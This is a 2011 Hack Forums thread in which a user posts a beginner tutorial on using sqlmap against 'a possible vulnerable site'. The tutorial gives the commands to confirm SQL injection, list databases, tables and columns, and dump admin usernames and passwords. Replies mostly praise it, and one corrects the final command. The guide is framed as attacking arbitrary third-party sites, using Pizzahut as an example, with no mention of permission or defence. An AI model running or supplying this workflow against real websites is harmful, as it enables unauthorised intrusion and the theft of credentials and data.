Hack Forums
[TUT]How to SQL Inject with SQLmap [TUT] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [TUT]How to SQL Inject with SQLmap [TUT] (/showthread.php?tid=1738874)

Pages: Pages 1 2


[TUT]How to SQL Inject with SQLmap [TUT] - Retribute - Sep 18, 2011

Hey guys,

So today I will be teaching you guys on how to SQL inject via SQLmap. This is also my first tutorial so it may not be the best.

--

Alright, so lets begin learning.

I recommend you use this on a Linux distro because I'm not quite sure whether or not this works on Windows. Personally, I'm on Ubuntu.

Alright, so now you obviously need SQLmap which can be downloaded from here

You also need python installed which you can get by doing
Code
sudo apt-get install python

After you've downloaded it, go to the directory where it's saved.
In my case:
Code
cd Downloads/sqlmap


Once you're in that directory, we must find a possible vulnerable site.
Now that you have one, we are going to test it with the following code:
Code
python sqlmap.py -u TARGETSITE
Change "TARGETSITE" to the URL of your site.

After you find out it's vulnerable, do:
Code
python sqlmap.py -u TARGETSITE --dbs

This will display all the database names. You'll see "information_schema" among the database names; just ignore that and choose another one. The database name is usually in reference or has similar wording as the site. For example, if I was attacking Pizzahut, a possible database name could be pizzahut_pizzahut.

Now once you've found the database name, you'd need to view the tables, so do:
Code
python sqlmap.py -u TARGETSITE -D site_db --tables

This will display all the tables of the database. Now your job is to figure out which contains the information you want, such as the admin pass/user.

So once you've found the tables, for example, containing the Admin information, do:
Code
python sqlmap.py -u TARGETSITE -D database_name -T admintable --columns

With that, you've received all the columns. Now you want to see the information in that column, so type in:

Code
python sqlmap.py -u TARGETSITE -D database_name -T admintable -C  columnname --dump

And there we have it, we have gotten all the info 🤗

Please comment or PM me if you have questions. I'd be happy to assist you.



* - CRT - Sep 18, 2011

Pretty good tutorial man. Sure it will help many.


* - Cannabinoids - Sep 18, 2011

This is a pretty good tut, I agree with Curt. Though it would be a lot better if you provided Screen shots.


* - Retribute - Sep 18, 2011

(Sep 18, 2011 05:00 PM)wolfe27 Wrote:  This is a pretty good tut, I agree with Curt. Though it would be a lot better if you provided Screen shots.

Alright, thanks for the advise. I'd be sure to take it on any future tutorials.


* - T-rom - Sep 18, 2011

DO NOT ask for + rep.

its a good tut otherwise.


* - Glassy - Sep 18, 2011

That is a well written tutorial you have created there. Good job.


* - Retribute - Sep 18, 2011

(Sep 18, 2011 05:02 PM)Glassy Wrote:  That is a well written tutorial you have created there. Good job.

Thanks! Just wanting to contribute a little here :3


* - Kelly_ - Sep 24, 2011

Excellent tutorial, the best one I've seen so far.


* - gfgfdygh - Sep 24, 2011

@RubksHQ, if you go with some screenshots , it help nderstad better , though the tutorial is compact and precise for a beginner itself


* - B_r001acess - Sep 25, 2011

https://hackforums.net/showthread.php?tid=1758457 Yesterday i make a Tut Like that :P


* - -S0uRc3- - Sep 25, 2011

Thank you,just what i wanted :) keep it up


* - Godzor - Sep 25, 2011

this was very very very very helpfullll


* - Victor - Sep 25, 2011

Very nice tutorial. Easy to Follow. Thank you


* - gfgfdygh - Sep 25, 2011

a slight correction rubiks , in the last command , its like columns --dump and not column--dump

:P


* - santoro - Sep 25, 2011

thanks for this share , nice tutorial. good job

thanks for this share. excellent tuto. nice job